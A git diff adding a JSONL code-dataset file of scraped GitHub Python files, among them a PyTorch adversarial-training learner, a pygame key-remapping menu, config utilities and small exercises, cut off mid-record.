diff --git "a/3050.jsonl" "b/3050.jsonl" new file mode 100644--- /dev/null +++ "b/3050.jsonl" @@ -0,0 +1,2087 @@ +{"seq_id":"8045466614","text":"import random\nimport jeevaa\n#random whole numbers\nrandom_integer = random.randint(1,10)\n\nprint(random_integer)\n\n#create your own module:\nphone_number = jeevaa.jeevaa_ph\nprint(phone_number)\n\n#creating a float numbers\nrandom_float = random.random()\nprint(random_float)\n\n#to get 0.00 to 4.99:\nrandomness = random_float * 5\nprint(randomness)\n\n","repo_name":"jeevaa-code/python-pratice-angelayu","sub_path":"Day-4/random-intro.py","file_name":"random-intro.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12374435275","text":"from collections.abc import Iterable\nimport argparse\nimport os\nfrom pathlib import Path\nimport socket\n\nDATA_DIR = os.environ.get(\"NUCLR_DATA_DIR\", Path(__file__).parent.parent / \"data\")\nROOT_DIR = os.environ.get(\"NUCLR_ROOT_DIR\", Path(__file__).parent.parent / \"results\")\n\ndef where_am_i():\n host = socket.gethostname()\n\n if host.endswith(\"mit.edu\") or host.startswith(\"submit\"):\n return \"MIT\"\n elif host.endswith(\"harvard.edu\") or host.startswith(\"holygpu\"):\n return \"HARVARD\"\n elif \"fair\" in host or \"learnlab\" in host:\n return \"FAIR\"\n else:\n Warning(f\"Unknown cluster: {host}\")\n return \"Local\"\n\n\ndef _serialize_dict(targets: dict) -> str:\n if targets == {}:\n return \"None\"\n return \"-\".join([f\"{k}:{v}\" for k, v in targets.items()])\n\n\ndef _deserialize_dict(targets: str) -> dict:\n if targets == \"None\":\n return {}\n return {k: float(v) for k, v in [t.split(\":\") for t in targets.split(\"-\")]}\n\n\ndef _serialize_list(targets: list) -> str:\n return \"-\".join([str(t) for t in targets])\n\n\ndef _deserialize_list(targets: str) -> list:\n return [float(t) for t in targets.split(\"-\")]\n\n\ndef serialize_elements_in_task(task: dict):\n \"\"\"\n some configurables are dicts, we need to serialize them\n \"\"\"\n for t, choices in task.items():\n if not isinstance(choices, Iterable): # should be list of hyperparam choices\n raise ValueError(\n f\"{t} is not iterable in your config, fix in Enum Task (config.py)\"\n )\n for i, choice in enumerate(choices):\n if isinstance(choice, dict):\n task[t][i] = _serialize_dict(choice)\n elif isinstance(choice, list):\n task[t][i] = _serialize_list(choice)\n return task\n\n\ndef _args_postprocessing(args: argparse.Namespace):\n # make them dicts again\n args.TARGETS_CLASSIFICATION = _deserialize_dict(args.TARGETS_CLASSIFICATION)\n args.TARGETS_REGRESSION = _deserialize_dict(args.TARGETS_REGRESSION)\n args.WHICH_FOLDS = [int(x) for x in _deserialize_list(args.WHICH_FOLDS)]\n\n # log freq\n if args.CKPT_FREQ == -1:\n # only log last\n args.CKPT_FREQ = args.EPOCHS + 1\n return args\n\n\ndef _add_operational_args_(parser: argparse.ArgumentParser):\n parser.add_argument(\"--DEV\", type=str, default=\"cpu\", help=\"device to use\")\n parser.add_argument(\n \"--WANDB\", action=\"store_true\", default=False, help=\"use wandb or not\"\n )\n parser.add_argument(\n \"--ROOT\", type=str, default=ROOT_DIR, help=\"root folder to store models\"\n )\n parser.add_argument(\"--LOG_FREQ\", type=int, default=1, help=\"log every n epochs\")\n parser.add_argument(\n \"--CKPT_FREQ\",\n type=int,\n default=-1,\n help=\"save checkpoint every n epochs, -1 == only log the last\",\n )\n\n\ndef _parse_arguments(params):\n parser = argparse.ArgumentParser()\n for k, v in params.items():\n parser.add_argument(\n f\"--{k}\", type=type(v[0]), default=v[0]\n ) # TODO review float\n\n _add_operational_args_(parser) # add operational args\n # operations params\n return parser.parse_args()\n\n\ndef _make_suffix_for(arg: str):\n \"\"\"\n define the name suffixes when adding an arg, eg mask_seed -> _maskseed{MASKSEED}\n this suffix has unfilled format braces, to be filled by the get_qualifed_name function\n \"\"\"\n return f\"{arg.lower().replace('_', '')}_{{{arg}}}\"\n\n\ndef get_name(task):\n name = \"/\".join(\n [\n \"NUCLR\",\n *[_make_suffix_for(hp) for hp in task.keys()],\n ]\n )\n return name\n\n\ndef get_qualified_name(task, args):\n name = get_name(task)\n return name.format(**vars(args))\n\n\ndef parse_arguments_and_get_name(task):\n args = _parse_arguments(task)\n name = get_qualified_name(task, args)\n args = _args_postprocessing(args)\n return args, name\n","repo_name":"niklasnolte/ai-nuclear","sub_path":"lib/config_utils.py","file_name":"config_utils.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"15797191190","text":"import utils\r\nimport read_csv as csv\r\nimport charts\r\n\r\ndef run():\r\n data = csv.read_csv(\"./reto/data.csv\")\r\n data = list(filter(lambda item: item[\"Continent\"] == \"South America\", data))\r\n world_population, labels = utils.get_world_population(data)\r\n charts.generate_pie_chart(labels,world_population)\r\n\r\nif __name__ == \"__main__\":\r\n run()","repo_name":"lumarseg/snippets","sub_path":"python/python-102/retos/reto2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29159951805","text":"import datetime\nfrom genericpath import exists\nimport glob\nimport re\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport tqdm\nfrom sklearn.metrics import accuracy_score\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils import Logger, dict2str, label2esci, savepath, optim_dict\n\nfrom models import PGD, FGM, FreeLB, AWP\nfrom torch.cuda.amp import autocast, GradScaler\n\n\nclass BaseLearner(object):\n\n def __init__(self, config, model_cls, loader):\n self.loader = loader\n self.config = config\n\n os.environ['CUDA_VISIBLE_DEVICES'] = str(config.device)\n self.model = model_cls(config)\n\n self.model.cuda()\n\n self.epochs = config.epochs\n self.early_stop_rounds = config.early_stop\n self.learning_rate = config.learning_rate\n self.weight_decay = config.weight_decay\n\n self.cur_epoch = 0\n self.cur_step = 0\n self.best_epoch = 0\n self.best_result = -np.inf\n\n param_optimizer_bert = list(self.model.named_parameters())\n no_decay_bert = ['bias', 'gamma', 'beta']\n\n optimizer_grouped_parameters_bert = \\\n [\n {'params': [p for n, p in param_optimizer_bert if not any(nd in n for nd in no_decay_bert) and p.requires_grad],\n 'weight_decay': self.weight_decay, 'lr': self.learning_rate},\n {'params': [p for n, p in param_optimizer_bert if any(nd in n for nd in no_decay_bert) and p.requires_grad],\n 'weight_decay': 0.0, 'lr': self.learning_rate}\n ]\n self.optimizer = getattr(torch.optim, config.optimizer)(optimizer_grouped_parameters_bert,\n lr=self.learning_rate, eps=1e-2)\n\n self.save_floder = os.path.join(\n savepath, config.task, config.model, config.commit)\n self.submit_floder = os.path.join(\n savepath, config.task, config.model, config.commit, \"submit\")\n os.makedirs(self.save_floder, exist_ok=True)\n os.makedirs(self.submit_floder, exist_ok=True)\n\n date = datetime.datetime.now().strftime(\"%Y-%m-%d-%H:%M:%S\")\n self.writer = SummaryWriter(self.save_floder, comment=date)\n self.logger = Logger(os.path.join(self.save_floder, 'run.log'))\n\n self.pgd = PGD(self.model)\n self.fgm = FGM(self.model)\n self.pgd_k = 2\n self.freelb = FreeLB()\n self.scaler = GradScaler()\n self.awp = AWP(self.model, self.optimizer, apex=config.apex, adv_lr=config.awp_lr, adv_eps=config.awp_eps)\n self.load_model()\n # self.fast_awp = FastAWP(self.model, self.optimizer, adv_lr=0.001, adv_eps=0.001)\n\n def train_one_epoch(self):\n print(f\"epoch {self.cur_epoch}, step {self.eval_step}\")\n loader = self.loader.train_dataloader()\n total_loss = []\n with tqdm.tqdm(loader, ncols=100) as pbar:\n for input in pbar:\n if self.cur_step > self.last_step:\n if (self.cur_step + 1) % self.eval_step == 0:\n self.valid()\n train_loss = self.train_one_step(input)\n total_loss.append(train_loss)\n train_loss = self.smooth_loss(total_loss)\n pbar.set_description(\n f'train loss: {train_loss:.4f}')\n self.writer.add_scalar(\n 'train/train_loss', train_loss, global_step=self.cur_step)\n self.cur_step += 1\n\n def smooth_loss(self, losses):\n if len(losses) < 100:\n return sum(losses) / len(losses)\n else:\n return sum(losses[-100:]) / 100\n\n def train_one_step_pgd(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.model.calculate_loss(input)\n loss.backward()\n self.pgd.backup_grad()\n for i in range(self.pgd_k):\n self.pgd.attack(is_first_attack=(i == 0))\n if i != self.pgd_k - 1:\n self.optimizer.zero_grad()\n else:\n self.pgd.restore_grad()\n loss_adv = self.model.calculate_loss(input)\n loss_adv.backward()\n self.pgd.restore()\n train_loss = loss_adv.item()\n self.optimizer.step()\n self.model.zero_grad()\n return train_loss\n\n def train_one_step_fgm(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.model.calculate_loss(input)\n loss.backward()\n self.fgm.attack()\n loss_adv = self.model.calculate_loss(input)\n loss_adv.backward()\n self.fgm.restore()\n train_loss = loss_adv.item()\n self.optimizer.step()\n self.model.zero_grad()\n return train_loss\n\n def train_one_step_freelb(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.freelb.attack(self.model, input)\n self.optimizer.step()\n self.model.zero_grad()\n return loss.item()\n\n def train_one_step_awp(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.model.calculate_loss(input)\n self.optimizer.zero_grad()\n loss.backward()\n\n if self.cur_epoch >= self.config.start_epoch:\n loss = self.awp.attack_backward(input)\n loss.backward()\n self.awp._restore()\n\n self.optimizer.step()\n\n return loss.item()\n\n def train_one_step_fast_awp(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.model.calculate_loss(input)\n self.optimizer.zero_grad()\n loss.backward()\n\n if self.cur_epoch >= self.config.start_epoch:\n self.fast_awp.perturb(input)\n self.fast_awp.restore()\n\n self.optimizer.step()\n\n return loss.item()\n\n def train_one_step_apex(self, input):\n self.model.train()\n input = input.cuda()\n with torch.cuda.amp.autocast(enabled=self.config.apex):\n loss = self.model.calculate_loss(input)\n\n self.optimizer.zero_grad()\n # loss.backward()\n # self.optimizer.step()\n\n self.scaler.scale(loss).backward()\n for name, para in self.model.named_parameters():\n try:\n if not torch.isnan(para.grad).all():\n import pdb; pdb.set_trace()\n except:\n print(\"NoneType\")\n import pdb; pdb.set_trace()\n self.scaler.step(self.optimizer)\n self.scaler.update()\n # import pdb; pdb.set_trace()\n\n return loss.item()\n\n def train_one_step(self, input):\n self.model.train()\n input = input.cuda()\n loss = self.model.calculate_loss(input)\n train_loss = loss.item()\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n return train_loss\n\n def train(self):\n train_length = len(self.loader.train_dataloader())\n eval = [4, 4, 4, 5, 5]\n while self.cur_epoch < self.epochs:\n self.eval_step = train_length // eval[self.cur_epoch]\n self.train_one_epoch()\n if self.cur_epoch - self.best_epoch > self.early_stop_rounds:\n self.logger.info(\"early stop...\")\n break\n self.cur_epoch += 1\n self.writer.add_hparams(self.config.to_parm_dict(), {\n 'valid/best_result': self.best_result})\n\n def evaluate(self, pred_dict):\n ans = {}\n ans['ACC'] = accuracy_score(pred_dict['y_trues'], pred_dict['y_preds'])\n\n df = pd.DataFrame({\n 'y_preds': pred_dict['y_preds'].tolist(),\n 'y_trues': pred_dict['y_trues'].tolist(),\n 'y_probs': pred_dict['y_probs'].tolist(),\n 'query_locale': self.loader.valid_data['query_locale'].to_list()\n })\n\n for locale, sub_df in df.groupby('query_locale'):\n ans[f'{locale}_ACC'.upper()] = accuracy_score(\n sub_df['y_trues'], sub_df['y_preds'])\n return ans\n\n def valid(self):\n pred_dict = self.eval_one_epoch(\n loader=self.loader.valid_dataloader())\n metrics = self.evaluate(pred_dict)\n self.logger.info(\n f'[epoch={self.cur_epoch}, step={self.cur_step}] {dict2str(metrics)}')\n if metrics['ACC'] > self.best_result:\n self.best_result = metrics['ACC']\n self.best_epoch = self.cur_epoch\n self.best_step = self.cur_step\n self.save_model()\n self.ans2csv(self.loader.valid_data, pred_dict,\n phase='valid')\n for key, value in metrics.items():\n self.writer.add_scalar(\n f'valid/{key}', value, global_step=self.cur_step)\n return metrics\n\n def test(self):\n self.load_model()\n pred_dict = self.eval_one_epoch(\n loader=self.loader.test_dataloader())\n self.ans2csv(self.loader.test_data, pred_dict, phase='test')\n\n def ans2csv(self, data, pred_dict, phase=None):\n assert phase in ['valid', 'test']\n ans = data.copy()\n ans['esci_label_name'] = ans['esci_label'].map(label2esci)\n\n ans['esci_label_pred'] = pred_dict['y_preds'].tolist()\n ans[\"esci_probs\"] = pred_dict['y_probs'].tolist()\n ans[\"esci_label_pred_name\"] = ans[\"esci_label_pred\"].map(label2esci)\n\n date = datetime.datetime.now().strftime(\"%Y-%m-%d-%H:%M:%S\")\n ans.to_csv(os.path.join(self.submit_floder,\n f'{date}_{phase}_{self.cur_step}_{self.best_result:.5f}.csv'), index=False)\n\n @torch.no_grad()\n def eval_one_epoch(self, loader):\n self.model.eval()\n pred_dict = {\n \"y_preds\":[],\n \"y_probs\": [],\n \"y_trues\": []\n }\n with tqdm.tqdm(loader, ncols=100) as pbar:\n for input in pbar:\n input = input.cuda()\n with torch.cuda.amp.autocast(enabled=True):\n scores = self.model.predict(input)\n pred_dict[\"y_trues\"].append(input.esci_label)\n pred_dict[\"y_preds\"].append(scores.argmax(dim=1))\n pred_dict[\"y_probs\"].append(scores)\n for key, val in pred_dict.items():\n pred_dict[key] = torch.cat(val, dim=0).cpu().numpy()\n return pred_dict\n\n def save_model(self):\n filename = os.path.join(\n self.save_floder,\n f\"epoch={self.cur_epoch}-step={self.cur_step}-acc={self.best_result}.pth\")\n state = {\n 'best_epoch': self.best_epoch,\n 'cur_epoch': self.cur_epoch,\n 'cur_step': self.cur_step,\n 'state_dict': self.model.state_dict(),\n 'optimizer_dict': self.optimizer.state_dict(),\n }\n torch.save(state, filename)\n\n def load_model(self):\n # use the best pth\n modelfiles = glob.glob(os.path.join(self.save_floder, '*.pth'))\n accuracys = [re.search(\"acc=(.*).pth\", file).group(1)\n for file in modelfiles]\n accuracys = [float(acc) for acc in accuracys]\n idx = np.argmax(accuracys)\n\n state = torch.load(modelfiles[idx])\n print(f\"loading {modelfiles[idx]} ...\")\n # self.cur_epoch = state['cur_epoch']\n # self.cur_step = state['cur_step']\n # self.best_epoch = state['best_epoch']\n self.last_step = state['cur_step']\n self.model.load_state_dict(state['state_dict'])\n self.optimizer.load_state_dict(state['optimizer_dict'])\n","repo_name":"guijiql/kddcup2022","sub_path":"trainer/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":11598,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"6856602281","text":"import pygame\nimport math\n\n\npygame.init()\n\n\npygame.joystick.init()\n\njoystick_count = pygame.joystick.get_count()\n\nfor i in range(joystick_count):\n pygame.joystick.Joystick(i).init()\n\n if joystick_count == 0:\n pygame.joystick.quit()\n\n\ndead_zone = .25\nFONT = pygame.font.Font(\"data_c/FreeSerif.ttf\", 30)\nfont3 = pygame.font.Font(\"data_c/freesansbold.ttf\", 15)\n\nGREEN = (0, 200, 0, 0)\nREDLine = (240, 0, 0)\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255, 128)\nWIDTH, HEIGHT = 1600, 900\nWIDTH2, HEIGHT2 = 1024, 576\n\nscreen = pygame.display.set_mode((WIDTH2, HEIGHT2))\nimage_menu = pygame.image.load(\"data_c/main_new.png\").convert()\n\nkey_map1 = {'Move Up': pygame.K_w,\n 'Move Down': pygame.K_s,\n 'Move Left': pygame.K_a,\n 'Move Right': pygame.K_d,\n 'Rotate Stick L': pygame.K_COMMA,\n 'Rotate Stick R': pygame.K_PERIOD,\n 'Pause': pygame.K_SPACE,\n }\n\njoy_map1 = {''}\n\nkey_map1_order = ['Move Up', 'Move Down', 'Move Left', 'Move Right', 'Rotate Stick L', 'Rotate Stick R', 'Pause']\n\n\ndef create_list1(key_map1):\n keys_list1 = []\n for a, (action1, value1) in enumerate(sorted(key_map1.items(), key=lambda x:key_map1_order.index(x[0]))):\n surf1 = FONT.render('{}: {}'.format(action1, pygame.key.name(value1)), True, BLACK)\n rect1 = surf1.get_rect(center=(0, a*40+40))\n rect1.move_ip(WIDTH2 / 2 - 300, HEIGHT2 / 3 - 10)\n keys_list1.append([surf1, rect1, action1])\n return keys_list1\n\n\ndef edit_keys1(key_map1):\n keys_list1 = create_list1(key_map1)\n selected1 = None\n name=\"Munapää\"\n axes=0;\n buttons=0;\n dpad=0;\n \n if joystick_count != 0:\n name = pygame.joystick.Joystick(0).get_name()\n axes = pygame.joystick.Joystick(0).get_numaxes()\n buttons = pygame.joystick.Joystick(0).get_numbuttons()\n dpad = pygame.joystick.Joystick(0).get_numhats()\n \n print(name, axes, buttons, dpad)\n\n for i in range(axes):\n axis = pygame.joystick.Joystick(0).get_axis(i)\n print(screen, \"Axis {:>2} value: {}\".format(i, axis))\n\n for i in range(buttons):\n button = pygame.joystick.Joystick(0).get_button(i)\n print(screen, \"Button {:>2} value: {}\".format(i, button))\n\n while True:\n for e1 in pygame.event.get():\n screen.blit(image_menu, [0, 0])\n\n\n if e1.type == pygame.KEYDOWN and e1.key == pygame.K_ESCAPE:\n return key_map1\n\n if e1.type == pygame.KEYDOWN:\n if selected1 is not None:\n key_map1[selected1] = e1.key\n selected1 = None\n keys_list1 = create_list1(key_map1)\n \n if joystick_count != 0:\n if e1.type == pygame.JOYAXISMOTION or pygame.JOYBUTTONDOWN:\n if selected1 is not None:\n key_map1[selected1] = e1.joy\n selected1 = None\n keys_list1 = create_list1(key_map1)\n\n if e1.type == pygame.MOUSEBUTTONDOWN:\n selected1 = None\n for surf1, rect1, action1 in keys_list1:\n # See if the user clicked on one of the rects.\n if rect1.collidepoint(e1.pos):\n pygame.draw.rect(screen, WHITE, (WIDTH2 / 2 - 450, HEIGHT2 / 3, 300, 300))\n pygame.draw.rect(screen, BLACK, (WIDTH2 / 2 - 450, HEIGHT2 / 3, 300, 300), 4)\n selected1 = action1\n\n else:\n pygame.draw.rect(screen, WHITE, (WIDTH2 / 2 - 450, HEIGHT2 / 3, 300, 300))\n pygame.draw.rect(screen, BLACK, (WIDTH2 / 2 - 450, HEIGHT2 / 3, 300, 300), 4)\n\n for surf1, rect1, action1 in keys_list1:\n screen.blit(surf1, rect1)\n if selected1 == action1:\n pygame.draw.rect(screen, REDLine, rect1, 4)\n\n pygame.display.flip()\n\n\nkey_map2 = {'Move Up': pygame.K_UP,\n 'Move Down': pygame.K_DOWN,\n 'Move Left': pygame.K_LEFT,\n 'Move Right': pygame.K_RIGHT,\n 'Rotate Stick L': pygame.K_KP0,\n 'Rotate Stick R': pygame.K_KP_PERIOD\n }\n\nkey_map2_order = ['Move Up', 'Move Down', 'Move Left', 'Move Right', 'Rotate Stick L', 'Rotate Stick R', 'Pause']\n\n\ndef create_list2(key_map2):\n keys_list2 = []\n for a, (action2, value2) in enumerate(sorted(key_map2.items(), key=lambda y:key_map2_order.index(y[0]))):\n surf2 = FONT.render('{}: {}'.format(action2, pygame.key.name(value2)), True, BLACK)\n rect2 = surf2.get_rect(center=(0, a*40+40))\n rect2.move_ip(WIDTH2 / 2 + 300, HEIGHT2 / 3 - 10)\n keys_list2.append([surf2, rect2, action2])\n return keys_list2\n\n\ndef edit_keys2(key_map2):\n keys_list2 = create_list2(key_map2)\n selected2 = None\n\n while True:\n for e2 in pygame.event.get():\n mpos = pygame.mouse.get_pos()\n screen.blit(image_menu, [0, 0])\n\n if e2.type == pygame.KEYDOWN and e2.key == pygame.K_ESCAPE:\n return key_map2\n\n if e2.type == pygame.KEYDOWN:\n if selected2 is not None:\n key_map2[selected2] = e2.key\n selected2 = None\n keys_list2 = create_list2(key_map2)\n\n if e2.type == pygame.MOUSEBUTTONDOWN:\n selected2 = None\n for surf2, rect2, action2 in keys_list2:\n # See if the user clicked on one of the rects.\n if rect2.collidepoint(e2.pos):\n pygame.draw.rect(screen, WHITE, (WIDTH2 - 365, HEIGHT2 / 3, 300, 300))\n pygame.draw.rect(screen, BLACK, (WIDTH2 - 365, HEIGHT2 / 3, 300, 300), 4)\n selected2 = action2\n\n else:\n pygame.draw.rect(screen, WHITE, (WIDTH2 - 365, HEIGHT2 / 3, 300, 300))\n pygame.draw.rect(screen, BLACK, (WIDTH2 - 365, HEIGHT2 / 3, 300, 300), 4)\n\n for surf2, rect2, action2 in keys_list2:\n screen.blit(surf2, rect2)\n if selected2 == action2:\n pygame.draw.rect(screen, REDLine, rect2, 4)\n\n pygame.display.flip()\n\n","repo_name":"Paawali/PongHockey","sub_path":"InputManager.py","file_name":"InputManager.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32252688017","text":"from __future__ import print_function\n#\n# import tensorflow as tf\n#\n# # Basic constant operations\n# # The value returned by the constructor represents the output\n# # of the Constant op.\n# a = tf.constant(2, name='adult')\n# b = tf.constant(3)\n#\n# # Launch the default graph.\n# with tf.Session() as sess:\n# print(\"a=2, b=3\")\n# print(\"Addition with constants: {0}\".format(sess.run('adult')))\n# print(\"Multiplication with constants: %i\" % sess.run(a*b))\n#\n# # Basic Operations with variable as graph input\n# # The value returned by the constructor represents the output\n# # of the Variable op. (define as input when running session)\n# # tf Graph input\n# a = tf.placeholder(tf.int16)\n# b = tf.placeholder(tf.int16)\n#\n# # Define some operations\n# add = tf.add(a, b)\n# mul = tf.mul(a, b)\n#\n# # Launch the default graph.\n# with tf.Session() as sess:\n# # Run every operation with variable input\n# print(\"Addition with variables: %i\" % sess.run(add, feed_dict={a: 2, b: 3}))\n# print(\"Multiplication with variables: %i\" % sess.run(mul, feed_dict={a: 2, b: 3}))\n\nimport tensorflow as tf\n\nc = tf.constant([[1.0, 2.0], [3.0, 4.0]])\nd = tf.constant([[1.0, 1.0], [0.0, 1.0]])\ne = tf.matmul(c, d, name='example')\n\nwith tf.Session() as sess:\n test = sess.run(e)\n print(e.name) #example:0\n test = tf.get_default_graph().get_tensor_by_name(\"example:0\")\n print(test) #Tensor(\"example:0\", shape=(2, 2), dtype=float32)\n blust = sess.run(test)\n print(blust)","repo_name":"CuriosityLabTAU/tensorflow_curiosity_loop","sub_path":"loop/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73994367629","text":"#!/usr/bin/env python\n#------------------------------\n\nfrom __future__ import print_function\nimport psalgos\n\n#------------------------------\n\ndef test01():\n print('call pure python')\n\n#------------------------------\n\ndef test02():\n print('call psalgos.fib(90)')\n print(psalgos.fib(90))\n\n#------------------------------\n\n#------------------------------\n\ndef test03():\n import numpy as np\n from pyimgalgos.GlobalUtils import print_ndarr\n print('test numpy.array')\n \n af8 = np.ones((5,5), dtype=np.float64)\n print_ndarr(af8, 'input array ')\n #psalgos.test_nda_f8(af8)\n psalgos.test_nda_v1(af8)\n print_ndarr(af8, 'output array')\n\n ai2 = np.ones((6,3), dtype=np.int16)\n print_ndarr(ai2, 'input array ')\n #psalgos.test_nda_i2(ai2)\n psalgos.test_nda_v1(ai2)\n print_ndarr(ai2, 'output array')\n\n#------------------------------\n#------------------------------\n#------------------------------\n#------------------------------\n\nif __name__ == \"__main__\" :\n import sys; global sys\n tname = sys.argv[1] if len(sys.argv) > 1 else '1'\n print(50*'_', '\\nTest %s:' % tname)\n if tname == '1' : test01()\n elif tname == '2' : test02()\n elif tname == '3' : test03()\n else : sys.exit('Test %s is not implemented' % tname)\n sys.exit('End of test %s' % tname)\n\n#------------------------------\n","repo_name":"lcls-psana/psalgos","sub_path":"examples/ex-01-methods.py","file_name":"ex-01-methods.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22487509192","text":"\"\"\"\r\nlink: https://leetcode.com/problems/maximum-gap/\r\nstatus: submitted\r\n\r\nGiven an integer array nums, return the maximum difference between two successive elements in its sorted form. If the array contains less than two elements, return 0.\r\n\r\nYou must write an algorithm that runs in linear time and uses linear extra space.\r\n\r\n \r\n\r\nExample 1:\r\n\r\nInput: nums = [3,6,9,1]\r\nOutput: 3\r\nExplanation: The sorted form of the array is [1,3,6,9], either (3,6) or (6,9) has the maximum difference 3.\r\nExample 2:\r\n\r\nInput: nums = [10]\r\nOutput: 0\r\nExplanation: The array contains less than 2 elements, therefore return 0.\r\n \r\n\r\nConstraints:\r\n\r\n1 <= nums.length <= 105\r\n0 <= nums[i] <= 109\r\n\r\n\"\"\"\r\nnums = [10]\r\no_gap = 0\r\n\r\nfor i in range(len(nums)-1):\r\n gap = nums[i+1] - nums[i]\r\n if o_gap < gap:\r\n o_gap = gap\r\nprint(o_gap)","repo_name":"dhruv0504/Logical-Exercise","sub_path":"Day 3/Hard/day3prbl12hard.py","file_name":"day3prbl12hard.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17392536132","text":"budget = float(input())\r\nseason = input()\r\n\r\ndestination = None\r\nprice = None\r\ntype = None\r\n\r\nif budget <= 100:\r\n destination = 'Bulgaria'\r\n if season == 'summer':\r\n price = budget * 0.3\r\n type = 'Camp'\r\n elif season == 'winter':\r\n price = budget * 0.70\r\n type = 'Hotel'\r\nelif budget <= 1000:\r\n destination = 'Balkans'\r\n if season == 'summer':\r\n price = budget * 0.4\r\n type = 'Camp'\r\n elif season == 'winter':\r\n price = budget * 0.80\r\n type = 'Hotel'\r\nelse:\r\n destination = 'Europe'\r\n price = budget * 0.90\r\n type = 'Hotel'\r\n\r\nprint(f'Somewhere in {destination}')\r\nprint(f'{type} - {price:.2f}')\r\n","repo_name":"manniqueen/python-basics","sub_path":"if_journey.py","file_name":"if_journey.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31808813803","text":"import re # biblioteca de expressoes regulares\nimport glob, os, datetime\nimport math\nfrom math import trunc\n\ndef ler_xls():\n from xlrd import open_workbook\n\n xls = open_workbook('Envio_SAN_27_03_2018.xls')\n \n for sheets in xls.sheets():\n list1 = []\n for rows in range(sheets.nrows):\n list1.append(str(sheets.cell(rows, 1).value))\n\n list2 = []\n for item in list1:\n \n if not (item == 'CÓD MAT' or item == ''):\n \n list2.append(trunc(float(item)))\n\n return list2\n\n\ndef lista_arquivo_filtro_data(lista_de_arquivos,patch,data):\n \n print('lista de arquivos compativeis com a data ', data)\n lista = []\n for item in lista_de_arquivos:\n if extrai_data_arquivo(patch + item) == data:\n lista.append(item)\n return lista\n\n\ndef extrai_data_arquivo(nome_arquivo):\n info_arquivo = os.stat(nome_arquivo)\n return str(datetime.datetime.fromtimestamp(info_arquivo.st_mtime).date())\n\n# gera uma lista com os arquivos de interesse\ndef listar_arquivos(patch,extensao):\n os.chdir(patch)\n return glob.glob('*.' + extensao)\n\n# baseado na lista de codigos de material\ndef remove_repetidos(lista):\n tamanho = len(lista)\n lista = sorted(lista)\n if tamanho <= 2:\n return lista\n else:\n posicao1 = 0\n posicao2 = 1\n valor_posicao1 = lista[posicao1]\n valor_posicao_2 = lista[posicao2]\n limite_p1 = tamanho - 2\n limite_p2 = tamanho - 1\n while posicao1 != limite_p1 and posicao2 != limite_p2:\n \n if valor_posicao1 == valor_posicao_2:\n del(lista[posicao2])\n tamanho = len(lista)\n limite_p1 = tamanho - 2\n limite_p2 = tamanho - 1\n valor_posicao_2 = lista[posicao2]\n else:\n posicao1 += 1\n posicao2 = posicao1 + 1\n valor_posicao1 = lista[posicao1]\n valor_posicao_2 = lista[posicao2]\n \n if valor_posicao1 == valor_posicao_2:\n del (lista[posicao2])\n return lista\n\ndef busca_codigo_material(lista_rcj,lista_codigo_material):# lista_codigo_material deve estar com elementos unicos, sem repetidos\n '''Baseado na lista de material gera lista com os titulos pesquisando na\nna lista do rcj'''\n lista_de_materiais = []\n for itens_codigo_material in lista_codigo_material:\n for itens_lista_rcj in lista_rcj:\n if itens_lista_rcj.find(itens_codigo_material) == 0:\n lista_de_materiais.append(itens_lista_rcj)\n break\n return lista_de_materiais\n \n\n\ndef cria_lista(arquivo):\n ''' recebe um arquivo aberto e devolve uma lista'''\n lista_de_material = []\n arq = arquivo.readlines() # leitura linha a linha do arquivo\n for linha_arq in arq:\n linha_arq = linha_arq.rstrip() # retira as linhas em branco\n lista_de_material.append(linha_arq)\n return lista_de_material\n\ndef extrai_codigo_material(lista):\n ''' recebe lista e retorna os codigos de material para uma lista'''\n codigos_de_material = []\n er1 = re.compile(r'^\\d{6}') # verifica um padrao de 6 digitos referente ao codigo de material\n for i in lista:\n codigos_de_material.append(er1.match(i).group())\n return codigos_de_material # retorna lista com os codigos d material \n\ndef main():\n \n # Abrindo arquivos com as listas \n arquivo1 = open('LISTA_RCJ.TXT','r')\n arquivo2 = open('LISTA_SISCOM.TXT','r')\n arquivo_out = open('COMPARACAO-RCJ-SISCOM.txt','w')\n patch1 = \"C:/Users/dkscr/Downloads/compara_rcj_siscom-20180328T214602Z-001/compara_rcj_siscom/rcj/\"\n patch2 = \"C:/Users/dkscr/Downloads/compara_rcj_siscom-20180328T214602Z-001/compara_rcj_siscom/siscom/\"\n extensao = 'mxf'\n\n # Criando lista para manipulacao\n #lista_do_arquivo_1 = cria_lista(arquivo1)\n #lista_do_arquivo_2 = cria_lista(arquivo2)\n lista_do_arquivo_1 = listar_arquivos(patch1,extensao)\n lista_do_arquivo_2 = listar_arquivos(patch2,extensao)\n print(ler_xls())\n\n #checar data\n #data = '2018-03-29'\n data = 